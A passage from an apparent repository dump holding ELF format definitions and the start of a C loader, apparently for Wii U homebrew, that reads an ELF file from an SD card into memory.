ELFMAG3)\n\n/* ELF Header */\ntypedef struct elfhdr{\n\tunsigned char\te_ident[EI_NIDENT]; /* ELF Identification */\n\tElf32_Half\te_type;\t\t/* object file type */\n\tElf32_Half\te_machine;\t/* machine */\n\tElf32_Word\te_version;\t/* object file version */\n\tElf32_Addr\te_entry;\t/* virtual entry point */\n\tElf32_Off\te_phoff;\t/* program header table offset */\n\tElf32_Off\te_shoff;\t/* section header table offset */\n\tElf32_Word\te_flags;\t/* processor-specific flags */\n\tElf32_Half\te_ehsize;\t/* ELF header size */\n\tElf32_Half\te_phentsize;\t/* program header entry size */\n\tElf32_Half\te_phnum;\t/* number of program header entries */\n\tElf32_Half\te_shentsize;\t/* section header entry size */\n\tElf32_Half\te_shnum;\t/* number of section header entries */\n\tElf32_Half\te_shstrndx;\t/* section header table's \"section\n\t\t\t\t\t   header string table\" entry offset */\n} Elf32_Ehdr;\n\n/* e_type */\n#define ET_NONE\t\t0\t\t/* No file type */\n#define ET_REL\t\t1\t\t/* relocatable file */\n#define ET_EXEC\t\t2\t\t/* executable file */\n#define ET_DYN\t\t3\t\t/* shared object file */\n#define ET_CORE\t\t4\t\t/* core file */\n#define ET_NUM\t\t5\t\t/* number of types */\n#define ET_LOOS\t\t0xfe00\t\t/* reserved range for operating */\n#define ET_HIOS\t\t0xfeff\t\t/*  system specific e_type */\n#define ET_LOPROC\t0xff00\t\t/* reserved range for processor */\n#define ET_HIPROC\t0xffff\t\t/*  specific e_type */\n\n/* e_machine */\n#define EM_NONE\t\t0\t\t/* No Machine */\n#define EM_M32\t\t1\t\t/* AT&T WE 32100 */\n#define EM_SPARC\t2\t\t/* SPARC */\n#define EM_386\t\t3\t\t/* Intel 80386 */\n#define EM_68K\t\t4\t\t/* Motorola 68000 */\n#define EM_88K\t\t5\t\t/* Motorola 88000 */\n#if 0\n#define EM_486\t\t6\t\t/* RESERVED - was Intel 80486 */\n#endif\n#define EM_860\t\t7\t\t/* Intel 80860 */\n#define EM_MIPS\t\t8\t\t/* MIPS R3000 Big-Endian only */\n#define EM_S370\t\t9\t\t/* IBM System/370 Processor */\n#define EM_MIPS_RS4_BE\t10\t\t/* MIPS R4000 Big-Endian */\n#if 0\n#define EM_SPARC64\t11\t\t/* RESERVED - was SPARC v9\n\t\t\t\t\t     64-bit unoffical */\n#endif\n/* RESERVED 11-14 for future use */\n#define EM_PARISC\t15\t\t/* HPPA */\n/* RESERVED 16 for future use */\n#define EM_VPP500\t17\t\t/* Fujitsu VPP500 */\n#define EM_SPARC32PLUS\t18\t\t/* Enhanced instruction set SPARC */\n#define EM_960\t\t19\t\t/* Intel 80960 */\n#define EM_PPC\t\t20\t\t/* PowerPC */\n#define EM_PPC64\t21\t\t/* 64-bit PowerPC */\n#define EM_S390\t\t22\t\t/* IBM System/390 Processor */\n/* RESERVED 23-35 for future use */\n#define EM_V800\t\t36\t\t/* NEC V800 */\n#define EM_FR20\t\t37\t\t/* Fujitsu FR20 */\n#define EM_RH32\t\t38\t\t/* TRW RH-32 */\n#define EM_RCE\t\t39\t\t/* Motorola RCE */\n#define EM_ARM\t\t40\t\t/* Advanced Risc Machines ARM */\n#define EM_ALPHA\t41\t\t/* Digital Alpha */\n#define EM_SH\t\t42\t\t/* Hitachi SH */\n#define EM_SPARCV9\t43\t\t/* SPARC Version 9 */\n#define EM_TRICORE\t44\t\t/* Siemens TriCore embedded processor */\n#define EM_ARC\t\t45\t\t/* Argonaut RISC Core */\n#define EM_H8_300\t46\t\t/* Hitachi H8/300 */\n#define EM_H8_300H\t47\t\t/* Hitachi H8/300H */\n#define EM_H8S\t\t48\t\t/* Hitachi H8S */\n#define EM_H8_500\t49\t\t/* Hitachi H8/500 */\n#define EM_IA_64\t50\t\t/* Intel Merced */\n#define EM_MIPS_X\t51\t\t/* Stanford MIPS-X */\n#define EM_COLDFIRE\t52\t\t/* Motorola Coldfire */\n#define EM_68HC12\t53\t\t/* Motorola M68HC12 */\n#define EM_MMA\t\t54\t\t/* Fujitsu MMA Multimedia Accelerator*/\n#define EM_PCP\t\t55\t\t/* Siemens PCP */\n#define EM_NCPU\t\t56\t\t/* Sony nCPU embeeded RISC */\n#define EM_NDR1\t\t57\t\t/* Denso NDR1 microprocessor */\n#define EM_STARCORE\t58\t\t/* Motorola Start*Core processor */\n#define EM_ME16\t\t59\t\t/* Toyota ME16 processor */\n#define EM_ST100\t60\t\t/* STMicroelectronic ST100 processor */\n#define EM_TINYJ\t61\t\t/* Advanced Logic Corp. Tinyj emb.fam*/\n#define EM_X86_64\t62\t\t/* AMD x86-64 */\n#define EM_PDSP\t\t63\t\t/* Sony DSP Processor */\n/* RESERVED 64,65 for future use */\n#define EM_FX66\t\t66\t\t/* Siemens FX66 microcontroller */\n#define EM_ST9PLUS\t67\t\t/* STMicroelectronics ST9+ 8/16 mc */\n#define EM_ST7\t\t68\t\t/* STmicroelectronics ST7 8 bit mc */\n#define EM_68HC16\t69\t\t/* Motorola MC68HC16 microcontroller */\n#define EM_68HC11\t70\t\t/* Motorola MC68HC11 microcontroller */\n#define EM_68HC08\t71\t\t/* Motorola MC68HC08 microcontroller */\n#define EM_68HC05\t72\t\t/* Motorola MC68HC05 microcontroller */\n#define EM_SVX\t\t73\t\t/* Silicon Graphics SVx */\n#define EM_ST19\t\t74\t\t/* STMicroelectronics ST19 8 bit mc */\n#define EM_VAX\t\t75\t\t/* Digital VAX */\n#define EM_CHRIS\t76\t\t/* Axis Communications embedded proc. */\n#define EM_JAVELIN\t77\t\t/* Infineon Technologies emb. proc. */\n#define EM_FIREPATH\t78\t\t/* Element 14 64-bit DSP Processor */\n#define EM_ZSP\t\t79\t\t/* LSI Logic 16-bit DSP Processor */\n#define EM_MMIX\t\t80\t\t/* Donald Knuth's edu 64-bit proc. */\n#define EM_HUANY\t81\t\t/* Harvard University mach-indep objs */\n#define EM_PRISM\t82\t\t/* SiTera Prism */\n#define EM_AVR\t\t83\t\t/* Atmel AVR 8-bit microcontroller */\n#define EM_FR30\t\t84\t\t/* Fujitsu FR30 */\n#define EM_D10V\t\t85\t\t/* Mitsubishi DV10V */\n#define EM_D30V\t\t86\t\t/* Mitsubishi DV30V */\n#define EM_V850\t\t87\t\t/* NEC v850 */\n#define EM_M32R\t\t88\t\t/* Mitsubishi M32R */\n#define EM_MN10300\t89\t\t/* Matsushita MN10200 */\n#define EM_MN10200\t90\t\t/* Matsushita MN10200 */\n#define EM_PJ\t\t91\t\t/* picoJava */\n#define EM_NUM\t\t92\t\t/* number of machine types */\n\n/* Version */\n#define EV_NONE\t\t0\t\t/* Invalid */\n#define EV_CURRENT\t1\t\t/* Current */\n#define EV_NUM\t\t2\t\t/* number of versions */\n\n/* Section Header */\ntypedef struct {\n\tElf32_Word\tsh_name;\t/* name - index into section header\n\t\t\t\t\t   string table section */\n\tElf32_Word\tsh_type;\t/* type */\n\tElf32_Word\tsh_flags;\t/* flags */\n\tElf32_Addr\tsh_addr;\t/* address */\n\tElf32_Off\tsh_offset;\t/* file offset */\n\tElf32_Word\tsh_size;\t/* section size */\n\tElf32_Word\tsh_link;\t/* section header table index link */\n\tElf32_Word\tsh_info;\t/* extra information */\n\tElf32_Word\tsh_addralign;\t/* address alignment */\n\tElf32_Word\tsh_entsize;\t/* section entry size */\n} Elf32_Shdr;\n\n/* Special Section Indexes */\n#define SHN_UNDEF\t0\t\t/* undefined */\n#define SHN_LORESERVE\t0xff00\t\t/* lower bounds of reserved indexes */\n#define SHN_LOPROC\t0xff00\t\t/* reserved range for processor */\n#define SHN_HIPROC\t0xff1f\t\t/*   specific section indexes */\n#define SHN_LOOS\t0xff20\t\t/* reserved range for operating */\n#define SHN_HIOS\t0xff3f\t\t/*   specific semantics */\n#define SHN_ABS\t\t0xfff1\t\t/* absolute value */\n#define SHN_COMMON\t0xfff2\t\t/* common symbol */\n#define SHN_XINDEX\t0xffff\t\t/* Index is an extra table */\n#define SHN_HIRESERVE\t0xffff\t\t/* upper bounds of reserved indexes */\n\n/* sh_type */\n#define SHT_NULL\t0\t\t/* inactive */\n#define SHT_PROGBITS\t1\t\t/* program defined information */\n#define SHT_SYMTAB\t2\t\t/* symbol table section */\n#define SHT_STRTAB\t3\t\t/* string table section */\n#define SHT_RELA\t4\t\t/* relocation section with addends*/\n#define SHT_HASH\t5\t\t/* symbol hash table section */\n#define SHT_DYNAMIC\t6\t\t/* dynamic section */\n#define SHT_NOTE\t7\t\t/* note section */\n#define SHT_NOBITS\t8\t\t/* no space section */\n#define SHT_REL\t\t9\t\t/* relation section without addends */\n#define SHT_SHLIB\t10\t\t/* reserved - purpose unknown */\n#define SHT_DYNSYM\t11\t\t/* dynamic symbol table section */\n#define SHT_INIT_ARRAY\t14\t\t/* Array of constructors */\n#define SHT_FINI_ARRAY\t15\t\t/* Array of destructors */\n#define SHT_PREINIT_ARRAY 16\t\t/* Array of pre-constructors */\n#define SHT_GROUP\t17\t\t/* Section group */\n#define SHT_SYMTAB_SHNDX 18\t\t/* Extended section indeces */\n#define SHT_NUM\t\t19\t\t/* number of section types */\n#define SHT_LOOS\t0x60000000\t/* Start OS-specific */\n#define SHT_HIOS\t0x6fffffff\t/* End OS-specific */\n#define SHT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define SHT_HIPROC\t0x7fffffff\t/*  specific section header types */\n#define SHT_LOUSER\t0x80000000\t/* reserved range for application */\n#define SHT_HIUSER\t0xffffffff\t/*  specific indexes */\n\n/* Section names */\n#define ELF_BSS         \".bss\"\t\t/* uninitialized data */\n#define ELF_COMMENT\t\".comment\"\t/* version control information */\n#define ELF_DATA        \".data\"\t\t/* initialized data */\n#define ELF_DATA1       \".data1\"\t/* initialized data */\n#define ELF_DEBUG       \".debug\"\t/* debug */\n#define ELF_DYNAMIC     \".dynamic\"\t/* dynamic linking information */\n#define ELF_DYNSTR      \".dynstr\"\t/* dynamic string table */\n#define ELF_DYNSYM      \".dynsym\"\t/* dynamic symbol table */\n#define ELF_FINI        \".fini\"\t\t/* termination code */\n#define ELF_FINI_ARRAY\t\".fini_array\"\t/* Array of destructors */\n#define ELF_GOT         \".got\"\t\t/* global offset table */\n#define ELF_HASH        \".hash\"\t\t/* symbol hash table */\n#define ELF_INIT        \".init\"\t\t/* initialization code */\n#define ELF_INIT_ARRAY\t\".init_array\"\t/* Array of constuctors */\n#define ELF_INTERP\t\".interp\"\t/* Pathname of program interpreter */\n#define ELF_LINE\t\".line\"\t\t/* Symbolic line numnber information */\n#define ELF_NOTE\t\".note\"\t\t/* Contains note section */\n#define ELF_PLT\t\t\".plt\"\t\t/* Procedure linkage table */\n#define ELF_PREINIT_ARRAY \".preinit_array\" /* Array of pre-constructors */\n#define ELF_REL_DATA    \".rel.data\"\t/* relocation data */\n#define ELF_REL_FINI    \".rel.fini\"\t/* relocation termination code */\n#define ELF_REL_INIT    \".rel.init\"\t/* relocation initialization code */\n#define ELF_REL_DYN     \".rel.dyn\"\t/* relocaltion dynamic link info */\n#define ELF_REL_RODATA  \".rel.rodata\"\t/* relocation read-only data */\n#define ELF_REL_TEXT    \".rel.text\"\t/* relocation code */\n#define ELF_RODATA      \".rodata\"\t/* read-only data */\n#define ELF_RODATA1     \".rodata1\"\t/* read-only data */\n#define ELF_SHSTRTAB    \".shstrtab\"\t/* section header string table */\n#define ELF_STRTAB      \".strtab\"\t/* string table */\n#define ELF_SYMTAB      \".symtab\"\t/* symbol table */\n#define ELF_SYMTAB_SHNDX \".symtab_shndx\"/* symbol table section index */\n#define ELF_TBSS\t\".tbss\"\t\t/* thread local uninit data */\n#define ELF_TDATA\t\".tdata\"\t/* thread local init data */\n#define ELF_TDATA1\t\".tdata1\"\t/* thread local init data */\n#define ELF_TEXT        \".text\"\t\t/* code */\n\n/* Section Attribute Flags - sh_flags */\n#define SHF_WRITE\t0x1\t\t/* Writable */\n#define SHF_ALLOC\t0x2\t\t/* occupies memory */\n#define SHF_EXECINSTR\t0x4\t\t/* executable */\n#define SHF_MERGE\t0x10\t\t/* Might be merged */\n#define SHF_STRINGS\t0x20\t\t/* Contains NULL terminated strings */\n#define SHF_INFO_LINK\t0x40\t\t/* sh_info contains SHT index */\n#define SHF_LINK_ORDER\t0x80\t\t/* Preserve order after combining*/\n#define SHF_OS_NONCONFORMING 0x100\t/* Non-standard OS specific handling */\n#define SHF_GROUP\t0x200\t\t/* Member of section group */\n#define SHF_TLS\t\t0x400\t\t/* Thread local storage */\n#define SHF_MASKOS\t0x0ff00000\t/* OS specific */\n#define SHF_MASKPROC\t0xf0000000\t/* reserved bits for processor */\n\t\t\t\t\t/*  specific section attributes */\n\n/* Section Group Flags */\n#define GRP_COMDAT\t0x1\t\t/* COMDAT group */\n#define GRP_MASKOS\t0x0ff00000\t/* Mask OS specific flags */\n#define GRP_MASKPROC\t0xf0000000\t/* Mask processor specific flags */\n\n/* Symbol Table Entry */\ntypedef struct elf32_sym {\n\tElf32_Word\tst_name;\t/* name - index into string table */\n\tElf32_Addr\tst_value;\t/* symbol value */\n\tElf32_Word\tst_size;\t/* symbol size */\n\tunsigned char\tst_info;\t/* type and binding */\n\tunsigned char\tst_other;\t/* 0 - no defined meaning */\n\tElf32_Half\tst_shndx;\t/* section header index */\n} Elf32_Sym;\n\n/* Symbol table index */\n#define STN_UNDEF\t0\t\t/* undefined */\n\n/* Extract symbol info - st_info */\n#define ELF32_ST_BIND(x)\t((x) >> 4)\n#define ELF32_ST_TYPE(x)\t(((unsigned int) x) & 0xf)\n#define ELF32_ST_INFO(b,t)\t(((b) << 4) + ((t) & 0xf))\n#define ELF32_ST_VISIBILITY(x)\t((x) & 0x3)\n\n/* Symbol Binding - ELF32_ST_BIND - st_info */\n#define STB_LOCAL\t0\t\t/* Local symbol */\n#define STB_GLOBAL\t1\t\t/* Global symbol */\n#define STB_WEAK\t2\t\t/* like global - lower precedence */\n#define STB_NUM\t\t3\t\t/* number of symbol bindings */\n#define STB_LOOS\t10\t\t/* reserved range for operating */\n#define STB_HIOS\t12\t\t/*   system specific symbol bindings */\n#define STB_LOPROC\t13\t\t/* reserved range for processor */\n#define STB_HIPROC\t15\t\t/*  specific symbol bindings */\n\n/* Symbol type - ELF32_ST_TYPE - st_info */\n#define STT_NOTYPE\t0\t\t/* not specified */\n#define STT_OBJECT\t1\t\t/* data object */\n#define STT_FUNC\t2\t\t/* function */\n#define STT_SECTION\t3\t\t/* section */\n#define STT_FILE\t4\t\t/* file */\n#define STT_NUM\t\t5\t\t/* number of symbol types */\n#define STT_TLS\t\t6\t\t/* Thread local storage symbol */\n#define STT_LOOS\t10\t\t/* reserved range for operating */\n#define STT_HIOS\t12\t\t/*  system specific symbol types */\n#define STT_LOPROC\t13\t\t/* reserved range for processor */\n#define STT_HIPROC\t15\t\t/*  specific symbol types */\n\n/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */\n#define STV_DEFAULT\t0\t\t/* Normal visibility rules */\n#define STV_INTERNAL\t1\t\t/* Processor specific hidden class */\n#define STV_HIDDEN\t2\t\t/* Symbol unavailable in other mods */\n#define STV_PROTECTED\t3\t\t/* Not preemptible, not exported */\n\n\n/* Relocation entry with implicit addend */\ntypedef struct\n{\n\tElf32_Addr\tr_offset;\t/* offset of relocation */\n\tElf32_Word\tr_info;\t\t/* symbol table index and type */\n} Elf32_Rel;\n\n/* Relocation entry with explicit addend */\ntypedef struct\n{\n\tElf32_Addr\tr_offset;\t/* offset of relocation */\n\tElf32_Word\tr_info;\t\t/* symbol table index and type */\n\tElf32_Sword\tr_addend;\n} Elf32_Rela;\n\n/* Extract relocation info - r_info */\n#define ELF32_R_SYM(i)\t\t((i) >> 8)\n#define ELF32_R_TYPE(i)\t\t((unsigned char) (i))\n#define ELF32_R_INFO(s,t) \t(((s) << 8) + (unsigned char)(t))\n\n/* Program Header */\ntypedef struct {\n\tElf32_Word\tp_type;\t\t/* segment type */\n\tElf32_Off\tp_offset;\t/* segment offset */\n\tElf32_Addr\tp_vaddr;\t/* virtual address of segment */\n\tElf32_Addr\tp_paddr;\t/* physical address - ignored? */\n\tElf32_Word\tp_filesz;\t/* number of bytes in file for seg. */\n\tElf32_Word\tp_memsz;\t/* number of bytes in mem. for seg. */\n\tElf32_Word\tp_flags;\t/* flags */\n\tElf32_Word\tp_align;\t/* memory alignment */\n} Elf32_Phdr;\n\n/* Segment types - p_type */\n#define PT_NULL\t\t0\t\t/* unused */\n#define PT_LOAD\t\t1\t\t/* loadable segment */\n#define PT_DYNAMIC\t2\t\t/* dynamic linking section */\n#define PT_INTERP\t3\t\t/* the RTLD */\n#define PT_NOTE\t\t4\t\t/* auxiliary information */\n#define PT_SHLIB\t5\t\t/* reserved - purpose undefined */\n#define PT_PHDR\t\t6\t\t/* program header */\n#define PT_TLS\t\t7\t\t/* Thread local storage template */\n#define PT_NUM\t\t8\t\t/* Number of segment types */\n#define PT_LOOS\t\t0x60000000\t/* reserved range for operating */\n#define PT_HIOS\t\t0x6fffffff\t/*   system specific segment types */\n#define PT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define PT_HIPROC\t0x7fffffff\t/*  specific segment types */\n\n/* Segment flags - p_flags */\n#define PF_X\t\t0x1\t\t/* Executable */\n#define PF_W\t\t0x2\t\t/* Writable */\n#define PF_R\t\t0x4\t\t/* Readable */\n#define PF_MASKOS\t0x0ff00000\t/* OS specific segment flags */\n#define PF_MASKPROC\t0xf0000000\t/* reserved bits for processor */\n\t\t\t\t\t/*  specific segment flags */\n/* Dynamic structure */\ntypedef struct\n{\n\tElf32_Sword\td_tag;\t\t/* controls meaning of d_val */\n\tunion\n\t{\n\t\tElf32_Word\td_val;\t/* Multiple meanings - see d_tag */\n\t\tElf32_Addr\td_ptr;\t/* program virtual address */\n\t} d_un;\n} Elf32_Dyn;\n\nextern Elf32_Dyn\t_DYNAMIC[];\n\n/* Dynamic Array Tags - d_tag */\n#define DT_NULL\t\t0\t\t/* marks end of _DYNAMIC array */\n#define DT_NEEDED\t1\t\t/* string table offset of needed lib */\n#define DT_PLTRELSZ\t2\t\t/* size of relocation entries in PLT */\n#define DT_PLTGOT\t3\t\t/* address PLT/GOT */\n#define DT_HASH\t\t4\t\t/* address of symbol hash table */\n#define DT_STRTAB\t5\t\t/* address of string table */\n#define DT_SYMTAB\t6\t\t/* address of symbol table */\n#define DT_RELA\t\t7\t\t/* address of relocation table */\n#define DT_RELASZ\t8\t\t/* size of relocation table */\n#define DT_RELAENT\t9\t\t/* size of relocation entry */\n#define DT_STRSZ\t10\t\t/* size of string table */\n#define DT_SYMENT\t11\t\t/* size of symbol table entry */\n#define DT_INIT\t\t12\t\t/* address of initialization func. */\n#define DT_FINI\t\t13\t\t/* address of termination function */\n#define DT_SONAME\t14\t\t/* string table offset of shared obj */\n#define DT_RPATH\t15\t\t/* string table offset of library\n\t\t\t\t\t   search path */\n#define DT_SYMBOLIC\t16\t\t/* start sym search in shared obj. */\n#define DT_REL\t\t17\t\t/* address of rel. tbl. w addends */\n#define DT_RELSZ\t18\t\t/* size of DT_REL relocation table */\n#define DT_RELENT\t19\t\t/* size of DT_REL relocation entry */\n#define DT_PLTREL\t20\t\t/* PLT referenced relocation entry */\n#define DT_DEBUG\t21\t\t/* bugger */\n#define DT_TEXTREL\t22\t\t/* Allow rel. mod. to unwritable seg */\n#define DT_JMPREL\t23\t\t/* add. of PLT's relocation entries */\n#define DT_BIND_NOW\t24\t\t/* Process relocations of object */\n#define DT_INIT_ARRAY\t25\t\t/* Array with addresses of init fct */\n#define DT_FINI_ARRAY\t26\t\t/* Array with addresses of fini fct */\n#define DT_INIT_ARRAYSZ\t27\t\t/* Size in bytes of DT_INIT_ARRAY */\n#define DT_FINI_ARRAYSZ\t28\t\t/* Size in bytes of DT_FINI_ARRAY */\n#define DT_RUNPATH\t29\t\t/* Library search path */\n#define DT_FLAGS\t30\t\t/* Flags for the object being loaded */\n#define DT_ENCODING\t32\t\t/* Start of encoded range */\n#define DT_PREINIT_ARRAY 32\t\t/* Array with addresses of preinit fct*/\n#define DT_PREINIT_ARRAYSZ 33\t\t/* size in bytes of DT_PREINIT_ARRAY */\n#define DT_NUM\t\t34\t\t/* Number used. */\n#define DT_LOOS\t\t0x60000000\t/* reserved range for OS */\n#define DT_HIOS\t\t0x6fffffff\t/*   specific dynamic array tags */\n#define DT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define DT_HIPROC\t0x7fffffff\t/*  specific dynamic array tags */\n\n/* Dynamic Tag Flags - d_un.d_val */\n#define DF_ORIGIN\t0x01\t\t/* Object may use DF_ORIGIN */\n#define DF_SYMBOLIC\t0x02\t\t/* Symbol resolutions starts here */\n#define DF_TEXTREL\t0x04\t\t/* Object contains text relocations */\n#define DF_BIND_NOW\t0x08\t\t/* No lazy binding for this object */\n#define DF_STATIC_TLS\t0x10\t\t/* Static thread local storage */\n\n/* Standard ELF hashing function */\nunsigned long elf_hash(const unsigned char *name);\n\n#define ELF_TARG_VER\t1\t/* The ver for which this code is intended */\n\n/*\n * XXX - PowerPC defines really don't belong in here,\n * but we'll put them in for simplicity.\n */\n\n/* Values for Elf32/64_Ehdr.e_flags.  */\n#define EF_PPC_EMB              0x80000000      /* PowerPC embedded flag */\n\n/* Cygnus local bits below */\n#define EF_PPC_RELOCATABLE      0x00010000      /* PowerPC -mrelocatable flag*/\n#define EF_PPC_RELOCATABLE_LIB  0x00008000      /* PowerPC -mrelocatable-lib\n                                                   flag */\n\n/* PowerPC relocations defined by the ABIs */\n#define R_PPC_NONE              0\n#define R_PPC_ADDR32            1       /* 32bit absolute address */\n#define R_PPC_ADDR24            2       /* 26bit address, 2 bits ignored.  */\n#define R_PPC_ADDR16            3       /* 16bit absolute address */\n#define R_PPC_ADDR16_LO         4       /* lower 16bit of absolute address */\n#define R_PPC_ADDR16_HI         5       /* high 16bit of absolute address */\n#define R_PPC_ADDR16_HA         6       /* adjusted high 16bit */\n#define R_PPC_ADDR14            7       /* 16bit address, 2 bits ignored */\n#define R_PPC_ADDR14_BRTAKEN    8\n#define R_PPC_ADDR14_BRNTAKEN   9\n#define R_PPC_REL24             10      /* PC relative 26 bit */\n#define R_PPC_REL14             11      /* PC relative 16 bit */\n#define R_PPC_REL14_BRTAKEN     12\n#define R_PPC_REL14_BRNTAKEN    13\n#define R_PPC_GOT16             14\n#define R_PPC_GOT16_LO          15\n#define R_PPC_GOT16_HI          16\n#define R_PPC_GOT16_HA          17\n#define R_PPC_PLTREL24          18\n#define R_PPC_COPY              19\n#define R_PPC_GLOB_DAT          20\n#define R_PPC_JMP_SLOT          21\n#define R_PPC_RELATIVE          22\n#define R_PPC_LOCAL24PC         23\n#define R_PPC_UADDR32           24\n#define R_PPC_UADDR16           25\n#define R_PPC_REL32             26\n#define R_PPC_PLT32             27\n#define R_PPC_PLTREL32          28\n#define R_PPC_PLT16_LO          29\n#define R_PPC_PLT16_HI          30\n#define R_PPC_PLT16_HA          31\n#define R_PPC_SDAREL16          32\n#define R_PPC_SECTOFF           33\n#define R_PPC_SECTOFF_LO        34\n#define R_PPC_SECTOFF_HI        35\n#define R_PPC_SECTOFF_HA        36\n/* Keep this the last entry.  */\n#define R_PPC_NUM               37\n\n/* The remaining relocs are from the Embedded ELF ABI, and are not\n   in the SVR4 ELF ABI.  */\n#define R_PPC_EMB_NADDR32       101\n#define R_PPC_EMB_NADDR16       102\n#define R_PPC_EMB_NADDR16_LO    103\n#define R_PPC_EMB_NADDR16_HI    104\n#define R_PPC_EMB_NADDR16_HA    105\n#define R_PPC_EMB_SDAI16        106\n#define R_PPC_EMB_SDA2I16       107\n#define R_PPC_EMB_SDA2REL       108\n#define R_PPC_EMB_SDA21         109     /* 16 bit offset in SDA */\n#define R_PPC_EMB_MRKREF        110\n#define R_PPC_EMB_RELSEC16      111\n#define R_PPC_EMB_RELST_LO      112\n#define R_PPC_EMB_RELST_HI      113\n#define R_PPC_EMB_RELST_HA      114\n#define R_PPC_EMB_BIT_FLD       115\n#define R_PPC_EMB_RELSDA        116     /* 16 bit relative offset in SDA */\n\n/* Diab tool relocations.  */\n#define R_PPC_DIAB_SDA21_LO     180     /* like EMB_SDA21, but lower 16 bit */\n#define R_PPC_DIAB_SDA21_HI     181     /* like EMB_SDA21, but high 16 bit */\n#define R_PPC_DIAB_SDA21_HA     182     /* like EMB_SDA21, adjusted high 16 */\n#define R_PPC_DIAB_RELSDA_LO    183     /* like EMB_RELSDA, but lower 16 bit */\n#define R_PPC_DIAB_RELSDA_HI    184     /* like EMB_RELSDA, but high 16 bit */\n#define R_PPC_DIAB_RELSDA_HA    185     /* like EMB_RELSDA, adjusted high 16 */\n\n/* This is a phony reloc to handle any old fashioned TOC16 references\n   that may still be in object files.  */\n#define R_PPC_TOC16             255\n\n#endif /* _ELF_H */\n"
  },
  {
    "path": "sd_loader/src/entry.c",
    "content": "#include <gctypes.h>\n#include \"elf_abi.h\"\n#include \"../../src/common/common.h\"\n#include \"../../src/dynamic_libs/fs_defs.h\"\n#include \"../../src/common/os_defs.h\"\n\n#define CODE_RW_BASE_OFFSET                             0\n#define DATA_RW_BASE_OFFSET                             0\n\n#define EXPORT_DECL(res, func, ...)                     res (* func)(__VA_ARGS__);\n\n#define OS_FIND_EXPORT(handle, funcName, func)                    OSDynLoad_FindExport(handle, 0, funcName, &func)\n\ntypedef struct _private_data_t\n{\n    EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);\n    EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);\n\n    EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);\n    EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);\n    EXPORT_DECL(void, OSFatal, const char* msg);\n    EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);\n    EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);\n    EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);\n    EXPORT_DECL(void, exit, void);\n\n    EXPORT_DECL(int, FSInit, void);\n    EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);\n    EXPORT_DECL(int, FSDelClient, void *pClient);\n    EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);\n    EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);\n    EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);\n    EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);\n    EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);\n    EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);\n    EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);\n    EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);\n\n    EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv);\n} private_data_t;\n\nstatic int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)\n{\n    int iFd = -1;\n    void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);\n    if(!pClient)\n        return 0;\n\n    void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);\n    if(!pCmd)\n    {\n        private_data->MEMFreeToDefaultHeap(pClient);\n        return 0;\n    }\n\n    int success = 0;\n    private_data->FSInit();\n    private_data->FSInitCmdBlock(pCmd);\n    private_data->FSAddClientEx(pClient, 0, -1);\n\n    do\n    {\n        char tempPath[FS_MOUNT_SOURCE_SIZE];\n        char mountPath[FS_MAX_MOUNTPATH_SIZE];\n\n        int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);\n        if (status != 0) {\n            private_data->OSFatal(\"FSGetMountSource failed.\");\n            break;\n        }\n        status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);\n        if(status != 0) {\n            private_data->OSFatal(\"SD mount failed.\");\n            break;\n        }\n\n        status = private_data->FSOpenFile(pClient, pCmd, filepath, \"r\", &iFd, -1);\n        if(status != 0)\n        {\n            private_data->FSUnmount(pClient, pCmd, mountPath, -1);\n            break;\n        }\n\n        FSStat stat;\n        stat.size = 0;\n\n        void *pBuffer = NULL;\n\n        private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);\n\n        if(stat.size > 0)\n            pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);\n\n        if(!pBuffer)\n            private_data->OSFatal(\"Not enough memory for ELF file.\");\n\n        unsigned int done = 0;\n\n        while(done < stat.size)\n        {\n            int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);\n            if(readBytes <= 0) {\n                break;\n            }\n            done += readBytes;\n        }\n\n        if(done != stat.size)\n        {\n            private_data->MEMFreeToDefaultHeap(pBuffer);\n        }\n        else\n        {\n            *fileOut = (unsigned char*)pBuffer;\n            *sizeOut = stat.size;\n            success = 1;\n        }\n\n        private_data->FSCloseFile(pClient, pCmd, iFd, -1);\n        private_data->FSUnmount(pClient, pCmd, mountPath, -1);\n    }\n    while(0);\n\n    private_data->FSDelClient(pClient);\n    private_data->MEMFreeToDefaultHeap(pClient);\n    private_data->MEMFreeToDefaultHeap(pCmd);\n    return success;\n}\n\nstatic unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)\n{\n\tElf32_Ehdr *ehdr;\n\tElf32_Phdr *phdrs;\n\tunsigned char *image;\n\tint i;\n\n\tehdr = (Elf32_Ehdr 